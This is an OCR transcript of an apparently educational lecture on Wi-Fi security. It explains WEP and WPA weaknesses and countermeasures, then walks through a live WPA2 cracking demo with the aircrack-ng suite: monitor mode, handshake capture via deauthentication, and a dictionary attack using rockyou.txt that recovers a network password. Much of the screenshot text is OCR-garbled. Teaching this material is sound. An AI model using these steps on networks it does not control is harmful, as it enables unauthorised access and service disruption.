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Wifi Hacking

In this session, we will discuss about Wifi Hacking. Wireless network are accessible to
anyone within the router’s transmission radius. This makes them vulnerable to attacks.
Hotspots are available in public place such as Airports, Restaurant, Park, etc. In this
session we will introduce you two common techniques used to exploit weaknesses in
wireless network security implementations. We will also look at some of the

countermeasure you can put in place to protect against such attacks.

A wireless network is a network that uses radio app to link computers and other devices
together. The implementation is done at the layer 1 that is in physical layer of OSI
model. Now, how to access a wireless network? You will need a wireless network
enabled devices such as a laptop, tablet, smartphone etc. We will also need to be within
the transmission radius of a wireless network access point. Most devices will provide
you with the list of available network. If the network is not password protected, then you
just have to click on connect. If it is password protected then you will need the password

to gain access.

Since, the network is easily accessible to everyone with the wireless network enabled

device. Most networks are password protected.
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Wireless Network Authentication

U WEP (Wired Equivalent Privacy)

L) WPA (Wi-Fi Protected Access)

Now, let us look at some of the most commonly used authentication technique WEP,
Wired Equivalent Privacy. It was developed for IEEE 802.11 double n standards. Its
goal was to provide the privacy equivalent to that provided by wired networks. WEP,
work by encrypting the data being transmitted over the network to keep it safe from

eavesdropping.

WEP authentication, open system authentication, these methods grant access to station
authentication requested based on the configured access policy. Shared key
authentication, this method sends to a an encrypted challenge to the station requesting
access, the station in brief the challenge with it is key then responds. If, the encrypted

challenge matches the access point value, then access is granted.

Now, what are the weaknesses of WEP encryption? WEP has significant design flaws
and vulnerabilities. The integrity of the packet is checked using cyclic redundancy check,
CRC 32. CRC 32 integrity check can be compromised by capturing at least 2 packets.
The bits in the encrypted stream and the checksum can be modified by the attacker so
that the packet is accepted by the authentication system. This leads to unauthorized

access to the network.

WEP use the RC4 encryption algorithm to create stream cyphers. The stream cypher

input is made up of an initial value IV and a secret the length of the initial value is 24



bits long while the secrete key can either be forty bits or 104 bits long. The total length

of both the initial value and secret can either be 64 bits or 128 bits long.

The lower possible value of the secret key, make it easy to crack with initial values
combinations. We do not encrypt sufficiently, this makes them vulnerable to attack.
WEP is based on password. This makes it vulnerable to dictionary attack. Key
management is poorly implemented. Changing keys especially on large network is

challenging. WEP does not provide a centralized key management system.

The initial value can be reduced. Because of this security flaw, WEP has been deprecated
in favour of WPA. WPA stands for Wi-Fi Protected Access. It is a security protocol
developed by the Wi-Fi alliance in response to the weakness found in WEP. It is used to
encrypt data on 802.11 W length. It uses higher initial values 48 bit instead of at 24 bits
as WEP uses. It uses temporal key to encrypt. And, there are some weaknesses for WPA.
The collision avoidance implementation can be broken. It is vulnerable to denial of
service attack. Pre shares key uses passphrase, wake passphrase are vulnerable to

dictionary attack.

Now, the question is that how to crack wireless networks? The first we will discuss about
WEP cracking. Cracking is the process of exploiting security weakness in wireless
network and gaining unauthorized access. WEP cracking refers to exploit on networks
that use WEP to implement security controls. There are basically two types of cracks
namely, passive cracking. This type of cracking has no effect on the network traffic until

the WEP security has been trapped, it is difficult to detect.

Active cracking, this type of attack has an increased load effect on the network traffic. It
is easy to detect compared to passive cracking, it is more effective compared to passive
cracking. Now, there are different WEP cracking tools are there, air crack, WEP crack,

gismat, web tech, crypt all these tools are available for WEP cracking.

Now, we will discuss about WPA cracking. WPA users are 256 pre shared key or
passphrase for authentications. Short pass phrases are vulnerable to dictionary attacks
and other attacks that can be used to crack passwords. There are several tools are used
for WPA cracking, cow patty, kaneabel. There are few attacks are there for WPA
shipping. This involves intercepting packets as they are transmitted over a network. The

captured data can then be decoded using the tools such as air crack, kaneabel etc.



Man in the middle attack, this involves eavesdropping on a network and capturing

sensitive information.

Denial of service attack, the main intent of this attack is to deny legitimate users network
resource. Many cracking tools can be used to perform this type of attack. It is possible to
crack that WEP or WPA keys used to gain access to a wireless network. Doing so,
required software and hardware resources and patience. The success of such attack can

also depend on how active and inactive the uses of the target network are.

Now, the most important part is how to secure wireless network in minimizing wireless
network attack. An organization can attack some policies. Number 1, changing default
password that come with a hardware. Number 2, enabling the authentication mechanism,
number 3, access to the network can be restricted by following only registered mac
address. Number 4, use of strong WEP and WPA PSK keys, a combination of symbol
number and characters, reduced the strength of the key in cracking using dictionary and
book forced attack. Number 5, firewall software can also help to reduce un priced access

thank you.
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Now, I will show you how to hack a Wi-Fi? So, first check the interface name of the

NIC card.



(Refer Slide Time: 10:57)

Applications ¥ Places + [ Terminal * Thu7:41

File Edt View Search Terminal Help

wlan@: flags=4099<UP,BROADCAST MULTICAST> mtu
ether 2e:9e:f6:58:40:5e txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped 0 overruns @ carrier @ collisions @

:~# airmon-ng start wlan@

Found 2 processes that could cause trouble

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
941 NetworkManager
1027 wpa_supplicant
PHY Interface Driver Chipset

phy® wlan@ rt18723be Realtek Semiconductor Co., Ltd. RTL8723B
E PCIe Wireless Network Adapter

So, use the command ifconfig and see the interface name is wlan0. Now, we need to
place our nic card into monitor mode to monitor all the Wi-Fi around us. So, the

command is airmon — ng start wlan0 here wlan0 is the interface main.

Now, see we are already on the monitor mode and name of the monitor mode is
wlan0Omon and some process is also running. So, now, we need to kill all the running

processes.

(Refer Slide Time: 11:43)

Applications *  Places v ] Terminal » Thul7:41

File Edt View Search Terminal Help
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
941 NetworkManager
1027 wpa_supplicant
PHY Interface Driver Chipset

phy@ wland rt18723be Realtek Semiconductor Ltd. RTL8723B|
E PCIe Wireless Network Adapter

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy®]wlan
Omon)
(mac80211 station mode vif disabled for [phy@]wlan@)
:~# airmon-ng check kill

Killing these processes

PID Name
1027 wpa supplicant

:~# airodump-ng wlarUmonl




So, we use the command airmon — ng check kill to kill all the running processes. So,

it is killing these processes.

Now, took down all the information about the Wi-Fi around us. We need to use the
command airodump — ng wlanOmon, where wlanOmon is the name of the interface.
And, now see it is successfully able to dump all the information about all the Wi-Fi

around us
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root@katl: -
File Edit View Search Terminal Help

CH 2 [ Flapsed: 6 s J[ 2019-09-19 17:41

PWR Beacons  #Data, #/s MB  ENC CIPHER AUTH ESSID

65 OPN HP-Pr
-1 WPA <leng

-1 <leng
130 WPA2 CCMP  MGT <leng
270 WPA2 CCMP  PSK LPAir
65 WPA2 CCMP  PSK JioFi
130 WPA2 CCMP  PSK Airte
360 WPA2 CCMP  PSK  OnePl

4 276 WPAZ CCMP  PSK TP-Li
S4e. WPA2 CCMP  PSK  THINK
135 WPA2 CCMP  PSK WEBEL
195 WPA2 CCMP  PSK IPM L
65 WPA2 CCMP  PSK NPTEL

6 130 WPA2 CCMP  PSK iPhon
-1 <leng
130 WPA2 CCMP  PSK Verlo
130 WPA2 CCMP  MGT <leng
130 WPA2 CCMP  MGT <leng

And, this is our target Wi-Fi, NPTEL Wi-Fi. And, see it is showing BSS ID; that means,
the mac address of the router and then power. Power represents the strength of the Wi-Fi,
which value is absolute value is smaller. It indicate the maximum power and the channel

is also important.

Like our radio wireless has multiple channels so that various communications strings do
not interfere with each other. The 802.11 standard allow us for channel ranging from 1 to
14, in the US the FCC regulates wireless communication and devices for use in the states
are only enable to use channel 1 through 11. Europe use channel 1 through 13 and Japan
1 to 14, and other nations may also use the full range. And, see corresponding encryption
and cypher is also there. So, it is WPA to encryption. Now, to dump the Wi-Fi password,

we need to use the command airodum — ng — file_name.



So, here we specify the file name is test, then —c specify the channel. The Wi-Fi is
running over channel 6, then — — bssid, mac address of the router. So, it specify the mac
address of the router. So, put the mac address of our target Wi-Fi means target router,

then provide the monitor mode name which we on previously wlanOmon.
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RX errors @ dropped @ overruns 0 frame @
CH 6 ][ Elapsed: 1 min ][ 2019-09-19 17:46

a BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID

@ B4:C4:FC:78:91:17 0 160 752 38 O 6 65 WPA2 CCMP PSK NPTEL P

BSSID STATION PWR  Rate Lost Frames Probe

B4:C4:FC:78:91:17 90:BO:ED:D4:1B:B4 -25

oot @kall: -

17:46: aiting for beacon frame (BS HeH
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
19 Sending DeAuth (code 7) to broadcast
0 Sending DeAuth (code 7) to broadcast
B Sending DeAuth (code 7) to broadcas
Sending DeAuth (code 7) to broadcast -- H FC:78:91:
Sending DeAuth (code 7) to broadcast -- FC:78:91:
Sending DeAuth (code 7) to broadcast -- § :78:91;
2 Sending DeAuth (code 7) to broadcast -- f FC:78:91:
3 Sending DeAuth (code 7) to broadcast -- BSSID: :C4:FC:78:91:

And, now see it is basically showing the details of that particular router. So, BSSID is
showing here and it also showing all the connected station with that particular router. So,

here only one station is connected and the corresponding mac address is also there.

Now, the thing is that in WPA or WPA 2 encryption, the router sends the password at
the time of the connection establishment. So, once a station is already connected. So, we
never got, we never get the password. So, now, our aim is to disconnect at least one
station from that particular router. As a result it try to reconnect automatically. So, at that
time we will we will capture the data packet as well as the authentication key. So, now,
open a new terminal and send that the authentication packet to the connected station of

that particular router.

So, the command is aireplay —ng — 00 — a mac_address the_monitor_mode
(wlanOmon). It send the authentication packet and as a result. See we got the WPA

handshake that means, we got the key.



(Refer Slide Time: 18:03)

Applications *  Places + [ Terminal Thu17:46

File Edit View Search Terminal Help
RX errors @ dropped @ overruns @ frame @

[ N ET R I L R B R W WA handshake: B4:C4:FC:78:91:17]

root @l ~

aireplay-ng -0 @ -a B4:C4 wlanBmon
B4:C4:F17:46:19 Waiting for beacon frame (BSSID: B4:C4:FC:78:91:17) on channel 6
NB; this attack is more effective when targeting
BSSID @ tonnected wireless client (-c <client's mac>).
17:46:19 Sending DeAuth (code 7) to broadcast -- BSSID:
17:46:20 Sending DeAuth (code 7) to broadcast -- BSSID:
B4:C4:F17:46: Sending DeAuth (code 7) to broadcast -- BSSID:

17:46:21 Sending DeAuth (code 7) to broadcast -- BSSID:

17:46 Sending DeAuth (code 7) to broadcast -- BSSID:

17:46:22 Sending DeAuth (code 7) to broadcast -- BSSID:

17:46:22 Sending DeAuth (code 7) to broadcast -- BSSID:

17:46: Sending DeAuth (code 7) to broadcast -- BSSID:

IWH [ H Sending DeAuth (code 7) to broadcast -- BSSID:

17:46: Sending DeAuth (code 7) to broadcast -- BSSID:

IWH H Sending DeAuth (code 7) to broadcast -- BSSID:

17:46:24 Sending DeAuth (code 7) to broadcast -- BSSID:

17: Sending DeAuth (code 7) to broadcast -- BSSID: : s

17:46:25 Sending DeAuth (code 7) to broadcast -- BSSID: H 8:91:
Sending DeAuth (code 7) to broadcast -- BSSID: [B4:(C4:FC:78:91:17

“
-#

But, the thing is that key is encrypted and this encryption is using a hash algorithm; that

means, we are able to encrypt it, but decryption is not possible.

So, in that case we use the dictionary method or rainbow table method to decrypt the
password. So, here we use a very common dictionary rockyou.txt to break the

password of the Wi-Fi.
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RX errors 0 dropped 0 overruns 8 frame 6
CH 6] ) root@ali-

Sea Terminal

BSSID ~# aircrack-ng - rockyou.txt test-6l.capf
@ Bd:C4F

BSSID

B4:C4:F




So, the command is aircrack —ng, so use the tool aircrack -ng — w, then specify
the dictionary name which is rockyou.txt and then the filename where we stored the

password. So, we basically used the name test.
So, it create test — 01. cap5.
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RX errors 0 dropped 0 overruns 8 frame 0
(H 6] ) root@hali-

File Edit View Search Terminal Help

_ BSSID Aircrack-ng 1.5.2

]
@ B4:C4:F [60:00:19] 56813/12368362 keys tested (2851.28 k/s)

BSSID Time left: 1 hour, 11 minutes, 58 seconds

s : ador12
B4:C4:F Current passphrase: ecuadorl2

Master Key : BE BD OB 09 E@ 55 2D 3E 7E A9 91 Al A@ DO 3A C2
84 90 B6 OD 10 83 E1 58 44 40 08 76 36 AD 90 F5

Transient Key : F3 BE A7 OA 31 AA C2 7F D7 06 96

9F 88 6B 7B 63
1F EC CA 06 3C 8D 91 97 6C 9E 53 9

5

3

F 8

C 28 B6 29 (B
6 BF 12 A2 EB
A BA 74 D4 2F

FB 4D E@ 81 79 D5 5F 2E B5 DO 97
03 BE F4 93 31 3E 5B Bl 41 B8 E3

EAPOL HMAC 1 94 (D D1 C1 4E 47 46 €O C5 17 08 AG 42 0B 5F OF

And, it is start the decryption. Once it finds out the password in the dictionary, it able to
detect it and successfully got the password. So, you got the password and the password is
NPTEL@2019. Now, two things is very important. Number 1, if there is no station is
connected with that particular router, then no station is disconnected and we never got

the password.

Either we need some station to connect it with that particular Wi-Fi; that means, router
otherwise at that time when you monitor the password it needs to connect any particular
system. And, number 2, this thing is not possible using the virtual machine. If, you use a
virtual machine, then you need to use a separate NIC card which is directly connected

with the virtual machine.

So, either install kali linux into your main machine or run a live kali linux or use a usb

NIC card which is directly connected in the virtual machine.
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RX errors @ dropped @ overruns 0 frame @
CH 6 ][ Elapsed: 1 min ][ 2019-09-19 17:45

BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID

|
@ B4:C4:FC:78:91:17 -12 109 508 35 1 6 65 WPA2 CCMP PSK NPTEL P

STATION PWR  Rate Lost Frames Probe

B4:C4:FC:78:91:17 90:B0:ED:D4:1B:B4 -40  le-24 3 62

oot @kall: ~

Thank you.



